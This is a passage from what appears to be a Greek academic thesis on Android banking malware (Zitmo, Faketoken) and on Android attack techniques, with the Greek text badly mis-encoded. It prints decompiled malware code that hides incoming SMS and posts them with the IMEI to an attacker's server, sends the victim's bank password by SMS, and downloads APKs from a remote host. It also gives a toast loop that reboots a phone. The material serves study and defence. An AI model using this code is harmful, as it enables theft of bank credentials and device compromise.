StringBuilder localStringBuilder; 

if(str!=null) 

localStringBuilder = new StringBuilder(); 

 for (int i = 0; ; i++) 
 { 
 if (i >= str.length()) 
 { 
  ((TextView)findViewByld(2131034112)).setText(localStringBuilder.toString()); 

return; 

 } 

 localStringBuilder.append(str.charAt(i)) ;  

 if ((i + 1) % 4 != 0)  

   continue; 

 localStringBuilder.append("-") ; 
} 

} 

 
πσο θαίλεηαη θαη απφ ην manifest αξρείν ηνπ πξνγξάκκαηνο, ε εθαξκνγή απνιακβάλεη 

δηθαησκάησλ ζην internet(android.permission.INTERNET), 

sms(android.permission.RECEIVE_SMS) θαη ζηε θαηάζηαζε ηειεθψλνπ 

(android.permission.READ_PHONE STATE). Γηα ηελ ιήςε ησλ εηζεξρνκέλσλ κελπκάησλ ην 

Zitmo ρξεζηκνπνηεί έλαλ BroadcastReceiver κε ηελ νλνκαζία SmsReceiver, ν νπνίνο 

παξαθνινπζεί ην android.provider.Telephony.SMS_RECEIVED θαη παξαδίδεη ηα δεδνκέλα 

(PDUs) ζην MainService ηνπ γηα πεξεηαίξσ επεμεξγαζία, φπσο θαίλεηαη θαη ζηνλ παξαθάησ 

θψδηθα: 

 
public void onReceive(Context paramContext, Intent paramlntent) 
{ 

Bundle localBundle = paramlntent.getExtras(); 
if ((localBundle != null) && (localBundle.containsKey("pdus"))) 
{ 

abortBroadcast(); 

paramContext.startService( new                                                                                             

Intent(paramContext,MainService.class).putExtra("pdus", localBundle)); 
) 

 
Σν MainService εμάγεη ηνλ αξηζκφ θαη ηα δεδνκέλα δεκηνπξγεί έλα αληηθείκελν κελχκαηνο 
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(android.telephony.SmsMessage) ζην νπνίν ηα εηζάγεη. Έπεηηα κεηαθέξεη ην αληηθείκελν απηφ 

καδί κε ην ΗΜΔΗ ζην θνκκάηη ηνπ ServerSession. Με ηελ ζεηξά ηνπ  ην κεηαθέξεη ην ζχλνιν ηεο 

πιεξνθνξίαο ζηνλ web  server πνπ ειέγρεη ν επηηηζέκελνο κέζσ HTTP POST: 

 
public static JSONObject postRequest(UrlEncodedFormEntity paramUrlEncodedFormEntity) 

{ 

String str = initUrl(); 

int i = 0; 

while (true) 
{ 

Object localObject;  

if (i >= 5) 
{ 

localObject = null;  

return localObject; 

} 
try 
{ 

HttpPost localHttpPost = new HttpPost(str); 

localHttpPost.setEntity(paramUrlEncodedFormEntity);  

BasicResponseHandler localBasicResponseHandler = new BasicResponseHandler(); 

JSONObject localJSONObject = (JSONObject)new JSONTokener((String)new 

DefaultHttpClient().execute(localHttpPost,localBasicResponseHandler)) 

.nextValue();  

localObject = localJSONObject; 
} 

 
ε κεηέπεηηα εθδφζεηο, ην Zitmo κπνξεί λα ηεζεί ζε ιεηηνπξγία ή φρη κέζσ κελχκαηνο SMS, θαζψο 

θαη ηελ δηεχζπλζε απνζηνιήο. Δπίζεο άιιαμαλ ηελ ιεηηνπξγία απφ HTTP ζε SMS. Βέβαηα ν θχξηνο 

ζθνπφο ηνπ ζπλδπαζκνχ ησλ Zeus θαη Zitmo δελ είλαη άιινο απφ ηελ θινπή. ε κηα επηηπρεκέλε 

ζεηξά επηζέζεσλ, θαηάθεξαλ λα απνζπάζνπλ 36 εθαηνκκχξηα επξψ 

(threarspot.com/en_us/blogs/zitmo-trojan-variant-eurograbber-beats-two-factor-authentication-steal-

millions-120612). 

 

 

Faketoken 
 

Σν faretoken ρξεζηκνπνηεί κηα δηαθνξεηηθή πξννπηηθή απφ 

ην Zitmo θαη ηα παξάγσγα ηνπ. Γελ ζηνρεχεη ζε έλαλ, αιιά 

ζε πνιινπο δηαθνξεηηθνχο παξάγνληεο ηαπηνπνίεζεο ζηελ 

ζπζθεπή , ρσξίο λα επηηίζεηαη θαη ζηνλ ππνινγηζηή ηνπ 

ρξήζηε. Υξεζηκνπνηεί ζαλ ζχκβνιν logo ηζπαληθψλ 

ηξαπεδψλ φπσο ε Santader αιιά θαη άιιεο ( Banesto, 

BBVA).Ζ ίδηα ε εθαξκνγή νλνκάδεηαη TokenGenerator. 

 

Καηά ηελ εγθαηάζηαζε δεηά ηα παξαθάησ δηθαηψκαηα: 

 

 

 android.permission.READ_PHONE_STATE 

 android.permission.ACCESS_NETWORK_STATE 

Εηθόλα 31 Εθαξκνγέο ηνπ Faketoken 

Εηθόλα 32 Εθαξκνγέο ηνπ Faketoken 
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 android.permission.SEND_SMS 

 android.permission.INTERNET 

 android.permission..RECEIVE_SMS 

 android.permission.WRITE_EXTERNAL_STORAGE 

 android.permission.INSTALL_PACKAGES 

 android.permission.DELETE_PACKAGES 

 android.permission.READ_CONTACTS 

 android.permission.RECEIVE_BOOT_COMPLETED 

 
 

Σα INSTALL_PACKAGES θαη DELETE_PACKAGES είλαη δηθαηψκαηα ηνπ 

“SignatureOrSystem”, ην νπνίν ζεκαίλεη πσο, αθφκα θη αλ ηα δεηάεη, δελ 

ηνπ δίλνληαη θαζψο πξέπεη λα έρνπλ ππνγξαθεί απφ ην firmware signing key. 

Πξνθαλψο νη ζπγγξαθείο ηνπ ζπγθεθξηκέλνπ θαθφβνπινπ πξνγξάκκαηνο 

έθαλαλ ιάζνο εθηίκεζε ησλ ζπλζεθψλ πνπ πξέπεη λα πιεξνχληαη γηα ηελ 

παξνρή απηψλ ησλ δηθαησκάησλ, πξνο θαιή ηχρε ησλ ρξεζηψλ. Δάλ είρε ηα 

δηθαηψκαηα απηά ε εθαξκνγή ζα κπνξνχζε λα πξνζζαθαηξεί εθαξκνγέο 

θαηά βνχιεζε.  

ηαλ ν ρξήζηεο εθθηλήζεη ηελ εθαξκνγή ηνπ παξνπζηάδεηαη έλα 

παξάζπξν δηαιφγνπ γξακκέλν κε Javascript, δεηψληαο ηνπ λα εηζάγεη 

ηνλ θσδηθφ ηξαπέδεο ηνπ γηα λα ηνπ παξάγεη ηνλ θσδηθφ επαιήζεπζεο. Σν 

javascript γηα λα ιεηηνπξγήζεη ζηνλ πεγαίν θψδηθα πξέπεη λα γεθπξσζεί κε 

ηελ θιάζε WebApi: 

 

 
WebView localWebView = new WebView(this); 
webApi = new WebApi(this); 
localWebView.getSettings().setJavaScriptEnabled(true); 
localWebView.clearCache(true); 
localWebView.setScrollBarStyle(33554432); 
localWebView.setWebChromeClient(new WebChromeClient() 
  { 
    public boolean onJsPrompt(WebView paramWebView, String paramStringl, String   
paramString2, String paramString3, JsPromptResult paramJsPromptResult) 
 { 
   System.out.println("message: " + paramString2); 
   if (paramString2.equals("getToken"))               
     paramJsPromptResult.confirm(MainActivity.webApi.getToken());  
   for (int i = 1; ; i = 0) 
     return i; 
 } 
  }); 
 
 localWebView.addJavascriptlnterface(new WebApi(this) , "android") ; 
 System.out.println("Build.VERSION.RELEASE: " + Build.VERSION.RELEASE); 
 if ((Build.VERSION.RELEASE.startsWith("2.3.1")) 
 || (Build.VERSION.RELEASE.startsWith("2.3.3"))) 
   localWebView.loadUrl("file:///android_asset/html/index_bag.html"); 

 
Ζ γεθχξσζε απηή ηεο Javascript έρεη δεκηνπξγήζεη παιαηφηεξα θελά αζθαιείαο πνπ είλαη 

εθκεηαιιεχζηκα ζε αξθεηέο λφκηκεο εθαξκνγέο (Javascript injection). 

ηαλ ν ρξήζηεο πξνζζέζεη ηνλ θσδηθφ θαη παηήζεη ην θνπκπί πνπ ππάξρεη ζηελ νζφλε, ηφηε θαιείηαη 

ε sendPass. Ζ ζπλάξηεζε απηή απνζηέιιεη κέζσ sms θαη δηθηχνπ, ν θσδηθφο ηνπ ρξήζηε θαη ην 

ΗΜΔΗ: 

Εηθόλα 33 Αξρηθή 
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public void sendPass(String paramString) 

{ 
  try 

{ 

 if (!Settings.saved.sendlnitSms) 

   { 

    Settings.saved.sendlnitSms = true; 
    String str = Settings.saved.smsPrefix + " INIT " +                       
  MainApplication.imei + " " + MainApplication.imsi + " " + catch       
  paramString; 
  MainService.sendSms(Settings.saved.number, str); 
  MainApplication.settings.save(this.context); 

   } 

new Thread(new ThreadOperation(this, 1, paramString)).start(); 
labell09: 
return; 

} 

catch (Exception localException) 

{ 

break labell09; 

} 

} 

 

Γηα λα θαηαγξάςεη ηα mTans ην Faketoken αξρηθνπνηεί έλαλ BroadcastReceiver, ν 

νπνίνο θαηαγξάθεη ηα εηζεξρφκελα κελχκαηα, ηερλνηξνπία πνπ παξαηεξήζεθε θαη  ζην 

Zitmo, εάλ ηα κελχκαηα πξνέξρνληαη απφ έλαλ επηζπκεηφ απνζηνιέα, θάηη ην νπνίν 

νξίδεηαη απφ κηα ιίζηα επηζπκεηψλ αξηζκψλ, ηα πξνσζεί πξνο έλαλ αξηζκφ θαη έλαλ server. 

Ζ ιίζηα ηνπ Faketoken πεξηέρεη ζπγθεθξηκέλεο ηξάπεδεο θαη δελ ελδηαθέξεηαη γηα ηα 

ππφινηπα κελχκαηα πνπ δέρεηαη ν αλππνςίαζηνο ρξήζηεο.  

Σν πξφγξακκα ζηέιλεη πεξηνδηθά κελχκαηα αίηεζεο server γηα λα ελεκεξψλεηαη ζε 

πεξίπησζε πνπ αιιάμεη ε δηεπζπλζε, ν αξηζκφο απνζηνιήο, ε ιίζηα επηζπκεηψλ αξηζκψλ 

θαηαγξαθήο, θαζψο θαη ε ιίζηα αξηζκψλ, ησλ νπνίσλ ηα κελχκαηα πνπ θαηαθηάλνπλ ζηε 

ζπζθεπή πξέπεη λα δηαγξαθνχλ γηα λα κελ θηλήζνπλ ππνςίεο ζην ρξήζηε  (Μελχκαηα γηα 

χπνπηε θηλεηηθφηεηα απφ ρξεκαηννηθνλνκηθά ηδξχκαηα, απφ ρξεκαηηθέο ζπλαιιαγέο θ.ν.θ). 

Σν Faketoken ππνζηεξίδεη θαη άιιεο εληνιέο ζηηο απαληήζεηο πνπ ιακβάλεη απφ ηνλ server, 

φπσο απνζηνιή ιίζηαο επαθψλ θαζψο θαη ην θαηέβαζκα ελφο APK απφ ηνλ server πξνο ηελ 

θάξηα SD γηα εγθαηάζηαζε. Ζ ηειεπηαία εληνιή επηηξέπεη ηελ αλαβάζκηζε ηνπ θαθφβνπινπ 

πξνγξάκκαηνο ζηελ ηειεπηαία έθδνζε ή ηελ εηζαγσγή θαη εγθαηάζηαζε άιισλ 

πξνγξακκάησλ. Ο παξαθάησ θψδηθαο καο δείρλεη ηελ ιεηηνπξγία απηή: 

 
 

public static boolean DownloadApk(String paramStringl, String paramString2) 
{ 

System.out.println("DownloadAndlnstall"); 

int i; 

try { 

 HttpURLConnection localHttpURLConnection = 

 (HttpURLConnection)newURL(paramStringl).openConnection(); 

  localHttpURLConnection.setRequestMethod("GET"); 

 localHttpURLConnection.setDoOutput(true); 

 localHttpURLConnection.connect(); 

 File localFile =new File(Environment.getExternalStorageDirectory() + "/download/"); 

 localFile.mkdirs(); 

 FileOutputStream localFileOutputStream = new FileOutputStream(new File(localFile, 

 paramString2)); 
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 InputStream locallnputStream = localHttpURLConnection.getlnputStream(); 

 byte[] arrayOfByte = new byte[1024]; 

 

Μεηέπεηηα, εκθαλίδεηαη κηα δηαδηθαζία αλαβάζκπζεο πνπ παξνηξχλεη ηνλ  ρξήζηε λα 

εγθαηαζηήζεη ηελ ηειεπηαία έθδνζε, κφλε επηιφγε πνπ δίλεηαη είλαη απηή ηεο απνδνρήο. 

Με ηελ απνδνρή εκθαλίδεηαη ε θιαζζηθή νζφλε εγθαηάζηαζεο πξνγξακκάησλ ηνπ Android 

θαη ρξήζηεο πξέπεη λα ζπκθσλήζεη ζηελ εγθαηάζηαζεο βιέπνληαο φια ηα δηθαηψκαηα πνπ 

πξέπεη λα παξαρσξήζεη, θαζψο φπσο πξνείπακε ην δηθαίσκα INSTALL_PACKAGES δελ 

δφζεθε ζην FakeToken. Δπηπιένλ δεηείηαη απφ ηνλ ρξήζηε λα αιιάμεη ηηο ξπζκίζεηο 

αζθαιείαο ηνπ θηλεηνχ ηνπ, επηηξέπνληαο ηελ εγθαηάζηαζε εθαξκνγψλ απφ άγλσζηεο 

πεγέο. 

// UpdateActivity 
public void onClick(View paramView) 
{ 
 MainApplication.installApk(this, MainApplication.updataApkPath); 
} 
// MainApplication 
public static void installApk(Context paramContext, String paramString) 
{ 
 Intent locallntent = new Intent("android.intent.action.VIEW"); 
 locallntent.setDataAndType(Uri.fromFile(new File(paramString)), 
 "application/vnd.android.package-archive"); 
 paramContext.startActivity(locallntent); 
} 

Καζψο απμάλεηαη ε ρξήζε ηνπ mobile banking, απμάλνληαη θαη νη θαθφβνπιεο εθαξκνγέο 

πνπ ζηνρεχνπλ απηφ. Γίλνληαη πην πεξίπινθεο θαη πξνζαξκφδνληαη ζηηο θαηλνχξγηεο 

αιιαγέο ησλ ζπζηεκάησλ αζθαιείαο, κε ζθνπφ ηελ απφθηεζε πξφζβαζεο ζε φινπο ηνπο 

ηνκείο αζθαιείαο κηα εθαξκνγήο, φπσο ην FakeToken. 

Σν Android ησλ Φεβξνπάξην ηνπ 2012 αλαθνίλσζε ην Bouncer, έλα απηνκαηνπνηεκέλν 

εξγαιείν, κε ζηφρν ηελ ζάξσζε φισλ ησλ εθαξκνγψλ ηνπ Google Play Store γηα αλίρλεπζε 

θαθφβνπισλ εθαξκνγψλ ή Trojan κέζα ζε εθαξκνγέο 

(googlemobile.blogspot.com/2012/02/android-and-security.html).  

Αλ θαη ε Google δελ αλαθνίλσζε ηνλ ηξφπν ιεηηνπξγίαο ηνπ Bouncer αξθεηνί εξεπλεηέο 

πξνζπάζεζαλ λα ηνλ αλαθαιχςνπλ. Οη Jon Oberheide θαη Charlie Miller ζηελ εξεπλά ηνπο 

απέδεημαλ πσο  o Bouncer ηξέρεη ηηο εθαξκνγέο ζε έλαλ εμνκνησηή, ν νπνίνο έηλαη εηδηθά 

πξνζαξκνζκέλνο ζην qemu θαη θαηάθεξαλ λα απνθηήζνπλ απνκαθξπζκέλε πξφζβαζε ζε 

απηφλ (http://jon.oberheide.org/blog/2012/06/21/dissecting-the-android-bouncer/ θαη 

https://jon.oberheide.org/files/summercon12-bouncer.pdf). ηελ Trustwave, άιινη 

εξεπλεηέο δνθίκαζαλ ηελ απνηειεζκαηηθφηεηα ηνπ Bouncer θαη βξήθαλ ηξφπνπο λα 

θξχςνπλ ηνλ θαθφβνπιν θψδηθα απφ ην ζχζηεκα ηνπ Bouncer, πξαθηηθά ν θαθφβνπινο 

θψδηθαο κπνξνχζε λα θαηαιάβεη πφηε εθηειείηαη ζην εμνκνησκέλν πεξηβάιινλ ηνπ Bouncer 

θαη έθαλε ηελ εκθάληζε ηνπ κφλν ζηηο θπζηθέο  ζπζθεπέο (media.blackhat.com/bh-us-

12/Briefings/Percoco/BH_US_12_Percoco_Adventures_in_Bouncerland_WP.pdf). 

Αλ θαη ν Bouncer κπνξεί λα παξαθακθζεί , ε δεκηνπξγία ηνπ θαη κφλν δείρλεη πσο ε 

Google είλαη ελήκεξε ηνπ πξνβιήκαηνο θαη πξνζπαζεί λα ην επηιχζεη. ην  Android 4.2 

(JellyBean) έγηλε έλα αθφκα βήκα γηα ηελ αληηκεηψπηζε ηνπ  πξνβιήκαηνο κε ην 

Application Verification Service. Σν πξφζζεην απηφ αληρλεχεη φιεο ηηο εθαξκνγέο πνπ 

εγθαζίζηαληαη ζην ζχζηεκα θαη είηε πξνεηδνπνηεί ηνλ ρξήζηε, είηε απαγνξεχεη ηειείσο ηελ 

εγθαηάζηαζε ηνπ πξνγξάκκαηνο. Μία έξεπλα πνπ έγηλε απφ ηνλ Xuxian Jiang , απέδεημε 

πσο ην AVS είλαη ιηγφηεξν απνηειεζκαηηθφ απφ ηα ππφινηπα ππάξρνληα antivirus 

πξνγξάκκαηα (http://www.cs.ncsu.edu/faculty/jiang/appverify/).  

http://jon.oberheide.org/blog/2012/06/21/dissecting-the-android-bouncer/
https://jon.oberheide.org/files/summercon12-bouncer.pdf
file:///C:/Users/Panos/AppData/Roaming/Microsoft/Word/media.blackhat.com/bh-us-12/Briefings/Percoco/BH_US_12_Percoco_Adventures_in_Bouncerland_WP.pdf
file:///C:/Users/Panos/AppData/Roaming/Microsoft/Word/media.blackhat.com/bh-us-12/Briefings/Percoco/BH_US_12_Percoco_Adventures_in_Bouncerland_WP.pdf
http://www.cs.ncsu.edu/faculty/jiang/appverify/
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Εηθόλα 34 ύγθξηζε δηαθόξσλ antivirus κε ην Android AVS 

 

 

Αλ θαη νη πξνζπάζεηεο θαη ηα αληίκεηξα πνπ έρνπλ ιάβεη ρψξν κέρξη ζήκεξα δελ 

πεηπραίλνπλ ηνλ ζηφρν ηνπο, είλαη έλα νξζφ βήκα ην νπνίν βνεζά ζηελ παξεκπφδηζε 

θαθφβνπισλ εθαξκνγψλ λα επεξεάζνπλ ην ζχζηεκα. Λνγηθά ε Google ζα ζπλερίζεη ηελ 

πξνζπάζεηα θαηαπνιέκεζεο ηέηνησλ εθαξκνγψλ βειηηψλνληαο ηα Bouncer θαη AVS αιιά 

θαη εηζάγνληαο θαηλνχξγηεο ιχζεηο, θαζψο ην πξφβιεκα έρεη πάξεη πνιχ κεγαιχηεξεο 

δηαζηάζεηο ηνλ ηειεπηαίν θαηξφ. Σν 2011 βξέζεθαλ 1.000 εθαξκνγέο φηαλ έλα ρξφλν κεηά 

έθηαζαλ ηηο 350.000 ζχκθσλα κε ηελ Trend Micro ,ελψ ε ίδηα εηαηξία αλαθέξεη πσο απφ ηηο 

2 εθαηνκκχξηα εθαξκνγέο πνπ έιεγμε  ζηηο 8 Μαξηίνπ 2013 ζε Google Play θαη άιια 

θαηαζηήκαηα, 293.091 ραξαθηεξίζηεθαλ πνιχ επηθίλδπλεο, 150.203 πςεινχ ξίζθνπ (ηα 

windows έθηαζαλ ζε ηέηνην φγθν θαθφβνπισλ εθαξκνγψλ κεηά απφ 14 ρξφληα). Απφ ηηο 

293.091 νη 68,740 ήηαλ κέζσ Google Play (http://countermeasures.trendmicro.eu/android-

malware-believe-the-hype).  Σα λνχκεξα απηά είλαη πνιχ αλεζπρεηηθά αιιά θαη ινγηθά, 

ιακβάλνληαο ππφςελ ην κεξίδην ηεο αγνξάο πνπ έρεη πιένλ ην Android. 

 

 
 

 

Επιθέςεισ με Intents 
 

πσο αλαθέξακε παξαπάλσ ηα intents είλαη ην θχξην κέζν επηθνηλσλίαο κεηαμχ εθαξκνγψλ ζην 

Android. Έλα πξφγξακκα κπνξεί λα ζηέιλεη intents ζην εζσηεξηθφ ηνπ ή ζε άιιεο εθαξκνγέο. 

ηαλ κηα εθαξκνγή ζηείιεη intent, ην Android ηελ ρεηξίδεηαη θαη ηελ κεηαθέξεη ζην αλάινγν 

πξφγξακκα-παξαιήπηε. Απηφ πξαγκαηνπνηείηαη κε ην intent filter .Δάλ βξεη ην αλάινγν πξφγξακκα 

κεηαθέξεη ην intent θαη εάλ ην πξφγξακκα δελ ιεηηνπξγεί, ην εθθηλεί. ηαλ ην intent κπνξνχλ λα ην 

ρεηξηζηνχλ παξαπάλσ εθαξκνγέο, ν ρξήζηεο θαιείηαη λα δηαιέμεη ηελ εθαξκνγή πνπ ζα ην αλαιάβεη. 

Με ην intent κηα εθαξκνγή κπνξεί λα αλαθηήζεη θαη θάπνηα δεδνκέλα απφ ηελ εθαξκνγή πνπ ην 

δεκηνχξγεζε. 

Ο ιφγνο γηα ηνλ νπνίν κηα θαθφβνπιε εθαξκνγή ρξεζηκνπνηήζεη ηα intents είλαη ε πξφζβαζε ζε 

άιιεο εθαξκνγέο, κε πεξηζζφηεξα δηθαηψκαηα ή κε επαίζζεηα δεδνκέλα. 

 

Απομακρυςμένη πρόςβαςη μέςω WebKit 
 

Έλα παξάδεηγκα ηξσηφηεηαο ηνπ Android είλαη ιφγσ ηεο ρξήζεο ηεο θπκαηλφκελεο ππνδηαζηνιήο 

ζηελ κεραλή πεξηήγεζεο web αλνηθηνχ θψδηθα, WebKit (πεξηγξάθνληαη ζην CVE-2010-1807 

http://countermeasures.trendmicro.eu/android-malware-believe-the-hype
http://countermeasures.trendmicro.eu/android-malware-believe-the-hype


40 
 

cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1807). Ζ βαζηθή αηηία απηήο ηεο εππάζεηαο 

είλαη ιαλζαζκέλε δηαρείξηζε ηεο θηλεηήο ππνδηαζηνιήο δεδνκέλσλ ζην WebKit.  

Σν WebKit απνηειεί ηνλ πξνεπηιεγκέλν browser ζε πνιιέο θηλεηέο πιαηθφξκεο, 

ζπκπεξηιακβαλνκέλσλ iOS, Android, BlackBerry Tablet OS, θαη WebOS. Σν πξφβιεκα δηνξζψζεθε 

(κε patch) ζηελ έθδνζε Android 2.2, εμαθνινπζεί φκσο λα είλαη δπλαηή ε εχξεζε επάισησλ 

ζπζθεπψλ ιφγσ ηνπ θαηαθεξκαηηζκνχ ηεο πιαηθφξκαο Android θαη γηα ηηο εθδφζεηο 2.1 θαη 2.0. 

Ζ επίζεζε είλαη νπζηαζηηθά έλα αξρείν HTML. ηαλ γίλεη πξφζβαζε απηνχ ηνπ αξρείνπ κέζσ ελφο 

web server ρξεζηκνπνηψληαο ην πξνεπηιεγκέλν ζην Android πξφγξακκα πεξηήγεζεο ζην Web, 

δεκηνπξγείηαη κηα απνκαθξπζκέλε πξφζβαζε ζηελ IP δηεχζπλζε 10.0.2.2 ζηε ζχξα 222. Ζ δηεχζπλζε 

ΗΡ θαη ε πφξηα είλαη δπλαηφλ λα ξπζκηζηνχλ (λεψηεξν hacking) θαη λα δνζεί ε ΗΡ δηεχζπλζε ηνπ 

server ηνπ επηηηζέκελνπ. Οη επηζέζεηο κέζσ ηνπ WebKit δίλνπλ ηε δπλαηφηεηα απνκαθξπζκέλεο 

εθηέιεζεο εληνιψλ, δελ έρνπλ φκσο δηθαηψκαηα root θαη, σο εθ ηνχηνπ, έρνπλ πεξηνξηζκέλε ηζρχ. 

 

 

 

 

Κινπή δεδνκέλσλ  
Έλα άιιν είδνο επίζεζεο πνπ κπνξεί λα πξαγκαηνπνηείηαη εμ απνζηάζεσο είλαη ε θινπή δεδνκέλσλ. 

Γίλεηαη δειαδή ε δπλαηφηεηα ζε έλα θαθφβνπιν website λα θιέςεη ηα ζηνηρεία θαη ηα αξρεία πνπ 

είλαη απνζεθεπκέλα ζε κηα θάξηα SD ή θαη ηελ ίδηα ηε ζπζθεπή.  

Ζ επίζεζε είλαη νπζηαζηηθά έλα αξρείν PHP κε ελζσκαησκέλν JavaScript. ηαλ ν ρξήζηεο 

επηζθέπηεηαη ην θαθφβνπιν web site θαη επηιέγεη ην θαθφβνπιν link, ην JavaScript εθηειείηαη ρσξίο 

λα δεηά ηελ έγθξηζε ηνπ ρξήζηε. Με ηε δηαδηθαζία απηή δηαβάδνληαη ηα πεξηερφκελα ζπγθεθξηκέλσλ 

αξρείσλ πνπ έρεη επηιέμεη ν επηηηζέκελνο θαη κεηαθνξηψλνληαη ζηνλ απνκαθξπζκέλν server. 

ηελ πξαγκαηηθφηεηα ε φιε δηαδηθαζία δελ γίλεηαη εληειψο ζην παξαζθήλην, φηαλ γίλεηαη ε 

κεηαθνξά ησλ δεδνκέλσλ, παξάγεηαη κηα εηδνπνίεζε, δίλνληαο ζηνλ (εμνηθεησκέλν θαη ελεκεξσκέλν) 

ρξήζηε ηε δπλαηφηεηα λα παξαηεξήζεη ηελ χπνπηε ζπκπεξηθνξά ηεο ζπζθεπήο. Δπίζεο, ν εηζβνιέαο 

ζα πξέπεη λα γλσξίδεη ην φλνκα θαη ηελ πιήξε δηαδξνκή ησλ αξρείσλ πνπ πξφθεηηαη λα εμαρζνχλ. 

Απηή ε ηξσηφηεηα επεξέαδε ην Android 2.2 θαη πξνεγνχκελεο εθδφζεηο, δειαδή έλα επξχ θάζκα 

ζπζθεπψλ ήηαλ επάισηεο, θαη πάιη ιφγσ ηνπ πξνβιήκαηνο ηνπ θαηαθεξκαηηζκνχ ηεο πιαηθφξκαο. 

Σν πξφβιεκα ιχζεθε νξηζηηθά ζηελ έθδνζε 2.3.4 ηνπ Android.  

 

Απομακρυςμένη πρόςβαςη χωρίσ δικαιώματα 
 

Έλαο άιινο ηξφπνο επίζεζεο ζε ζπζθεπέο Android είλαη ππεξληθψληαο έλα απφ ηα κέηξα αζθαιείαο 

ηνπ Android. Σν κέηξν αζθαιείαο πνπ ζηεξίδεηαη ζηελ χπαξμε πξνεγνχκελεο άδεηαο. 

Ο κεραληζκφο ελεκεξψλεη ηνλ ρξήζηε ζρεηηθά κε ηα δηθαηψκαηα πνπ ρξεηάδεηαη ε εθαξκνγή πξηλ 

απηή εγθαηαζηαζεί θαη ιεηηνπξγήζεη. Σα δηθαηψκαηα απηά κπνξεί λα είλαη ε πξνζηαζία ηα επαίζζεηα 

δεδνκέλα ησλ ρξεζηψλ φπσο ε πξφζβαζε ζηνλ θαηάινγν επαθψλ ή νη γεσγξαθηθέο ζπληεηαγκέλεο 

ηνπ ρξήζηε, αιιά κπνξνχλ επίζεο λα πξνζηαηεχζνπλ ηελ πξφζβαζε ζηηο ιεηηνπξγίεο ηνπ ηειεθψλνπ, 

φπσο ηε δπλαηφηεηα λα ζηέιλνπλ κελχκαηα SMS ή εγγξαθή ήρνπ . 

 Χζηφζν, ην κνληέιν απηφ αζθάιεηαο πνπ βαζίδεηαη ζε πξνεγνχκελε άδεηα κπνξεί λα παξαθακθζεί. 

Ο Thomas Cannon δεκνζίεπζε έλα βίληεν πνπ δείρλεη κηα εθαξκνγή πνπ δελ απαηηεί θακία άδεηα 

πξηλ απφ ηελ εγθαηάζηαζε, αιιά δίλεη απνκαθξπζκέλε πξφζβαζε ζηε ζπζθεπή θαη επηηξέπεη ηελ 

εθηέιεζε εληνιψλ (vimeo.com/thomascannon/android-reverse-shell). Ζ κέζνδνο ιεηηνπξγεί ζε φιεο 

ηηο εθδφζεηο ηνπ Android, έσο θαη ηελ 4.0, Ice Cream Sandwich . 

Ο κεραληζκφο πίζσ απφ απηφ ην πξφβιεκα πεξηγξάθεηαη ζηελ παξνπζίαζε Blackhat 2010/DefCon 

18, "These Aren't the Permissions You're Looking For" απφ ηνπο Anthony Lineberry, David Luke 

Richardson, θαη Tim Wyatt ηεο εηαηξείαο Lookout πνπ εηδηθεχεηαη ζηελ αζθαιείαο θηλεηψλ. ε απηή 

ηελ παξνπζίαζε, νη εξεπλεηέο αζθαιείαο δείρλνπλ κεζφδνπο γηα λα εθηειέζεη νξηζκέλεο ελέξγεηεο 

ρσξίο δηθαηψκαηα: 

 

• REBOOT: Σν REBOOT απαηηεί εηδηθά δηθαηψκαηα επεηδή έρεη ην επίπεδν πξνζηαζίαο 

“systemorsignature”, πνπ ζεκαίλεη φηη κπνξεί λα ρνξεγεζεί κφλν ζε εθαξκνγέο πνπ είλαη 
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εγθαηεζηεκέλεο ζην/system/app partition ή ζε εθαξκνγέο πνπ έρνπλ ππνγξαθεί κε ην ίδην 

πηζηνπνηεηηθφ, φπσο εθείλε πνπ δειψζεθε ζην permission. Με άιια ιφγηα, ε άδεηα γηα ηελ 

επαλεθθίλεζε ηεο ζπζθεπήο κπνξεί λα ρνξεγείηαη κφλν ζε εθαξκνγέο ηνπ ζπζηήκαηνο ή ζηηο 

εθαξκνγέο πνπ έρνπλ ππνγξαθεί κε ηα ίδηα πηζηνπνηεηηθά, φπσο νη εθαξκνγέο ηνπ ζπζηήκαηνο. 

Χζηφζν, ππάξρνπλ αξθεηνί ηξφπνη γηα λα παξαθάκςεη ηνλ πεξηνξηζκφ απηφ θαη έλαο απφ απηνχο είλαη 

ta toast notifications, ηα νπνία είλαη κελχκαηα πνπ εκθαλίδνληαη ζηε ζπζθεπή αλαγγέιινληαο θάηη 

πνπ ζπκβαίλεη ζην παξαζθήλην , γηα παξάδεηγκα, απνζηέιιεηαη έλα SMS. πσο θαίλεηαη θαη ζηελ 

εηθφλα ην toast είλαη έλα pop-up κήλπκα ζε κηθξφ κέξνο ηεο νζφλεο πνπ δελ δηαθφπηεη ηελ ηξέρνπζα 

δηαδηθαζία θαη ε δηάξθεηα εκθάληζεο ηνπ είλαη κηθξή. 

Κάζε θνξά πνπ εκθαλίδεηαη κηα εηδνπνίεζε toast, έλα Java Native Interface (JNI) δεκηνπξγείηαη κηα 

αλαθνξά ζην system_server (ην κέξνο ηνπ ινγηζκηθνχ πνπ εθθηλεί φιεο ηηο ππεξεζίεο ηνπ 

ζπζηήκαηνο, αιιά θαη ηνλ Activity manager). 

Χζηφζν, ν αξηζκφο ησλ αλαθνξψλ πνπ κπνξεί λα δεκηνπξγεζεί έρεη έλα φξην (εμαξηάηαη απφ ην πιηθφ 

ηεο ζπζθεπήο θαη ηελ έθδνζε ηνπ ιεηηνπξγηθνχ). ηαλ μεπεξαζηεί απηφ ην φξην, ε εθαξκνγή θνιιάεη 

ην ηειέθσλν. Έηζη, ε άξλεζε ηεο ππεξεζίαο νδεγεί ζε επαλεθθίλεζε ηεο ζπζθεπήο ρσξίο ηα 

δηθαηψκαηα επαλεθθίλεζεο ρσξίο απηφ λα γίλεηαη αληηιεπηφ απφ ηνλ ρξήζηε δηφηη ηα κελχκαηα toast 

κπνξεί κε απιφ ηξφπν λα κελ είλαη νξαηά ζην ρξήζηε σο εμήο:  

 
 while (true) { 
  Toast test = new Toast(getApplicationContext()); 
  test.setView(new View(getApplicationContext())); 
   test.show(); 

 

 

• RECEIVE_BOOT_COMPLETE Απηή ε άδεηα επηηξέπεη ζε κηα εθαξκνγή λα μεθηλήζεη απηφκαηα 

κφιηο ε δηαδηθαζία εθθίλεζεο ηειεηψζεη, θαη ζα πξέπεη λα ρξεζηκνπνηείηαη καδί κε έλα δέθηε πνπ 

ιακβάλεη ηελ γηα ηελ πξφζεζε (intent) BOOT_COMPLETED ψζηε λα μέξεη φηη ε δηαδηθαζία 

